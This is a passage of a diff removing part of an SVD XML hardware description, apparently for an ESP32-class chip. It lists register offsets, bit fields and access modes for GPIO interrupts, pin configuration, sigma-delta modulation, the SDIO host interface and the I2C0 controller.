-              <name>APPCPU_NMI_INT</name>
-              <description>GPIO0~31 APP CPU non-maskable interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PCPU_INT</name>
-          <addressOffset>0x68</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PROCPU_INT</name>
-              <description>GPIO0~31 PRO CPU interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PCPU_NMI_INT</name>
-          <addressOffset>0x6C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PROCPU_NMI_INT</name>
-              <description>GPIO0~31 PRO CPU non-maskable interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPUSDIO_INT</name>
-          <addressOffset>0x70</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDIO_INT</name>
-              <description>SDIO's extent GPIO0~31 interrupt</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ACPU_INT1</name>
-          <addressOffset>0x74</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPCPU_INT_H</name>
-              <description>GPIO32~39 APP CPU interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>ACPU_NMI_INT1</name>
-          <addressOffset>0x78</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>APPCPU_NMI_INT_H</name>
-              <description>GPIO32~39 APP CPU non-maskable interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PCPU_INT1</name>
-          <addressOffset>0x7C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PROCPU_INT_H</name>
-              <description>GPIO32~39 PRO CPU interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>PCPU_NMI_INT1</name>
-          <addressOffset>0x80</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PROCPU_NMI_INT_H</name>
-              <description>GPIO32~39 PRO CPU non-maskable interrupt status</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CPUSDIO_INT1</name>
-          <addressOffset>0x84</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SDIO_INT_H</name>
-              <description>SDIO's extent GPIO32~39 interrupt</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>PIN_PAD_DRIVER</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PIN_INT_TYPE</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PIN_WAKEUP_ENABLE</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PIN_CONFIG</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>PIN_INT_ENA</name>
-              <bitOffset>13</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>40</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <dimIndex>0-39</dimIndex>
-          <name>PIN%s</name>
-          <addressOffset>0x88</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>PAD_DRIVER</name>
-              <description>if set to 0: normal output  if set to 1: open drain</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INT_TYPE</name>
-              <description>if set to 0: GPIO interrupt disable  if set to 1: rising edge trigger  if set to 2: falling edge trigger  if set to 3: any edge trigger  if set to 4: low level trigger  if set to 5: high level trigger</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>WAKEUP_ENABLE</name>
-              <description>GPIO wake up enable  only available in light sleep</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CONFIG</name>
-              <description>NA</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>2</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INT_ENA</name>
-              <description>bit0: APP CPU interrupt enable  bit1: APP CPU non-maskable interrupt enable  bit3: PRO CPU interrupt enable  bit4:  PRO CPU non-maskable interrupt enable  bit5: SDIO's extent interrupt enable</description>
-              <bitOffset>13</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>cali_conf</name>
-          <addressOffset>0x128</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CALI_RTC_MAX</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>10</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CALI_START</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>cali_data</name>
-          <addressOffset>0x12C</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>CALI_VALUE_SYNC2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CALI_RDY_REAL</name>
-              <bitOffset>30</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CALI_RDY_SYNC2</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>256</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <dimIndex>0-255</dimIndex>
-          <name>FUNC%s_IN_SEL_CFG</name>
-          <addressOffset>0x130</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>IN_SEL</name>
-              <description>select one of the 256 inputs</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IN_INV_SEL</name>
-              <description>revert the value of the input if you want to revert  please set the value to 1</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SEL</name>
-              <description>if the slow signal bypass the io matrix or not if you want  setting the value to 1</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <dim>40</dim>
-          <dimIncrement>0x4</dimIncrement>
-          <dimIndex>0-39</dimIndex>
-          <name>FUNC%s_OUT_SEL_CFG</name>
-          <addressOffset>0x530</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>OUT_SEL</name>
-              <description>select one of the 256 output to 40 GPIO</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>9</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>INV_SEL</name>
-              <description>invert the output value  if you want to revert the output value  setting the value to 1</description>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OEN_SEL</name>
-              <description>weather using the logical oen signal or not using the value setting by the register</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>OEN_INV_SEL</name>
-              <description>invert the output enable value  if you want to revert the output enable value  setting the value to 1</description>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>GPIO_SD</name>
-      <description>Sigma-Delta Modulation</description>
-      <groupName>GPIO_SIGMADELTA</groupName>
-      <baseAddress>0x3FF44F00</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x2C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>SIGMADELTA0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD0_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD0_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA1</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD1_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD1_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA2</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD2_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD2_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA3</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD3_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD3_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA4</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD4_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD4_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA5</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD5_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD5_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA6</name>
-          <addressOffset>0x18</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD6_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD6_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SIGMADELTA7</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x0000FF00</resetValue>
-          <fields>
-            <field>
-              <name>SD7_IN</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SD7_PRESCALE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CG</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SD_CLK_EN</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>MISC</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SPI_SWAP</name>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>VERSION</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01506190</resetValue>
-          <fields>
-            <field>
-              <name>SD_DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>28</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>HINF</name>
-      <description>Peripheral HINF</description>
-      <groupName>HINF</groupName>
-      <baseAddress>0x3FF4B000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x34</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <registers>
-        <register>
-          <name>CFG_DATA0</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x22226666</resetValue>
-          <fields>
-            <field>
-              <name>USER_ID_FN1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEVICE_ID_FN1</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CFG_DATA1</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x01110011</resetValue>
-          <fields>
-            <field>
-              <name>SDIO_ENABLE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_IOREADY1</name>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HIGHSPEED_ENABLE</name>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>HIGHSPEED_MODE</name>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO_CD_ENABLE</name>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_IOREADY2</name>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_INT_MASK</name>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>IOENABLE2</name>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>CD_DISABLE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>FUNC1_EPS</name>
-              <bitOffset>9</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>EMP</name>
-              <bitOffset>10</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>IOENABLE1</name>
-              <bitOffset>11</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO20_CONF0</name>
-              <bitOffset>12</bitOffset>
-              <bitWidth>4</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_VER</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>12</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>FUNC2_EPS</name>
-              <bitOffset>28</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SDIO20_CONF1</name>
-              <bitOffset>29</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CFG_DATA7</name>
-          <addressOffset>0x1C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00020000</resetValue>
-          <fields>
-            <field>
-              <name>PIN_STATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CHIP_STATE</name>
-              <bitOffset>8</bitOffset>
-              <bitWidth>8</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_RST</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SDIO_IOREADY0</name>
-              <bitOffset>17</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF0</name>
-          <addressOffset>0x20</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W0</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF1</name>
-          <addressOffset>0x24</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W1</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF2</name>
-          <addressOffset>0x28</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF3</name>
-          <addressOffset>0x2C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W3</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF4</name>
-          <addressOffset>0x30</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W4</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF5</name>
-          <addressOffset>0x34</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W5</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF6</name>
-          <addressOffset>0x38</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W6</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CIS_CONF7</name>
-          <addressOffset>0x3C</addressOffset>
-          <size>0x20</size>
-          <resetValue>0xFFFFFFFF</resetValue>
-          <fields>
-            <field>
-              <name>CIS_CONF_W7</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CFG_DATA16</name>
-          <addressOffset>0x40</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x33336666</resetValue>
-          <fields>
-            <field>
-              <name>USER_ID_FN2</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>DEVICE_ID_FN2</name>
-              <bitOffset>16</bitOffset>
-              <bitWidth>16</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>DATE</name>
-          <addressOffset>0xFC</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x15030200</resetValue>
-          <fields>
-            <field>
-              <name>SDIO_DATE</name>
-              <bitOffset>0</bitOffset>
-              <bitWidth>32</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-      </registers>
-    </peripheral>
-    <peripheral>
-      <name>I2C0</name>
-      <description>I2C (Inter-Integrated Circuit) Controller</description>
-      <groupName>I2C</groupName>
-      <baseAddress>0x3FF53000</baseAddress>
-      <addressBlock>
-        <offset>0x0</offset>
-        <size>0x9C</size>
-        <usage>registers</usage>
-      </addressBlock>
-      <interrupt>
-        <name>I2C_EXT0</name>
-        <value>49</value>
-      </interrupt>
-      <registers>
-        <register>
-          <name>SCL_LOW_PERIOD</name>
-          <addressOffset>0x0</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SCL_LOW_PERIOD</name>
-              <description>This register is used to configure the  low level width of SCL clock.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>14</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>CTR</name>
-          <addressOffset>0x4</addressOffset>
-          <size>0x20</size>
-          <resetValue>0x00000003</resetValue>
-          <fields>
-            <field>
-              <name>SDA_FORCE_OUT</name>
-              <description>1: normally ouput sda data   0: exchange the function of sda_o and sda_oe (sda_o is the original internal output sda signal sda_oe is the enable bit for the internal output sda signal)</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SCL_FORCE_OUT</name>
-              <description>1: normally ouput scl clock  0: exchange the function of scl_o and scl_oe (scl_o is the original internal output scl signal  scl_oe is the enable bit for the internal output scl signal)</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>SAMPLE_SCL_LEVEL</name>
-              <description>Set this bit to sample data in SCL low level. clear this bit to sample data in SCL high level.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>MS_MODE</name>
-              <description>Set this bit to configure the module as i2c master  clear this bit to configure the module as i2c slave.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TRANS_START</name>
-              <description>Set this bit to start sending data in txfifo.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>TX_LSB_FIRST</name>
-              <description>This bit is used to control the sending mode for  data need to be send. 1: receive data from most significant bit    0: receive data from least significant bit</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>RX_LSB_FIRST</name>
-              <description>This bit is used to control the storage mode for received datas. 1: receive data from most significant bit    0: receive data from least significant bit</description>
-              <bitOffset>7</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>CLK_EN</name>
-              <description>This is the clock gating control bit for reading or writing registers.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SR</name>
-          <addressOffset>0x8</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>ACK_REC</name>
-              <description>This register stores the value of ACK bit.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLAVE_RW</name>
-              <description>when in slave mode  1: master read slave  0: master write slave.</description>
-              <bitOffset>1</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TIME_OUT</name>
-              <description>when I2C takes more than time_out_reg clocks to receive a data then this register changes to high level.</description>
-              <bitOffset>2</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>ARB_LOST</name>
-              <description>when I2C lost control of SDA line  this register changes to high level.</description>
-              <bitOffset>3</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BUS_BUSY</name>
-              <description>1:I2C bus is busy transferring data. 0:I2C bus is in idle state.</description>
-              <bitOffset>4</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SLAVE_ADDRESSED</name>
-              <description>when configured as i2c slave  and the address send by master is equal to slave's address  then this bit will be high level.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>BYTE_TRANS</name>
-              <description>This register changes to high level when one byte is transferred.</description>
-              <bitOffset>6</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_CNT</name>
-              <description>This register represent the amount of data need to send.</description>
-              <bitOffset>8</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_CNT</name>
-              <description>This register stores the amount of received data  in ram.</description>
-              <bitOffset>18</bitOffset>
-              <bitWidth>6</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SCL_MAIN_STATE_LAST</name>
-              <description>This register stores the value of state machine for i2c module.  3'h0: SCL_MAIN_IDLE  3'h1: SCL_ADDRESS_SHIFT 3'h2: SCL_ACK_ADDRESS  3'h3: SCL_RX_DATA  3'h4 SCL_TX_DATA  3'h5:SCL_SEND_ACK 3'h6:SCL_WAIT_ACK</description>
-              <bitOffset>24</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>SCL_STATE_LAST</name>
-              <description>This register stores the value of state machine to produce SCL. 3'h0: SCL_IDLE  3'h1:SCL_START   3'h2:SCL_LOW_EDGE  3'h3: SCL_LOW   3'h4:SCL_HIGH_EDGE   3'h5:SCL_HIGH  3'h6:SCL_STOP</description>
-              <bitOffset>28</bitOffset>
-              <bitWidth>3</bitWidth>
-              <access>read-only</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>TO</name>
-          <addressOffset>0xC</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>TIME_OUT</name>
-              <description>This register is used to configure the max clock number of receiving  a data.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>20</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>SLAVE_ADDR</name>
-          <addressOffset>0x10</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>SLAVE_ADDR</name>
-              <description>when configured as i2c slave  this register is used to configure slave's address.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>15</bitWidth>
-              <access>read-write</access>
-            </field>
-            <field>
-              <name>ADDR_10BIT_EN</name>
-              <description>This register is used to enable slave 10bit address mode.</description>
-              <bitOffset>31</bitOffset>
-              <bitWidth>1</bitWidth>
-              <access>read-write</access>
-            </field>
-          </fields>
-        </register>
-        <register>
-          <name>RXFIFO_ST</name>
-          <addressOffset>0x14</addressOffset>
-          <size>0x20</size>
-          <fields>
-            <field>
-              <name>RXFIFO_START_ADDR</name>
-              <description>This is the offset address of the last receiving data as described in nonfifo_rx_thres_register.</description>
-              <bitOffset>0</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>RXFIFO_END_ADDR</name>
-              <description>This is the offset address of the first receiving data as described in nonfifo_rx_thres_register.</description>
-              <bitOffset>5</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_START_ADDR</name>
-              <description>This is the offset address of the first  sending data as described in nonfifo_tx_thres register.</description>
-              <bitOffset>10</bitOffset>
-              <bitWidth>5</bitWidth>
-              <access>read-only</access>
-            </field>
-            <field>
-              <name>TXFIFO_END_ADDR</name>
-              <description>This is the offset address of the last  sending data as described in nonfifo_tx_thres register.</description>
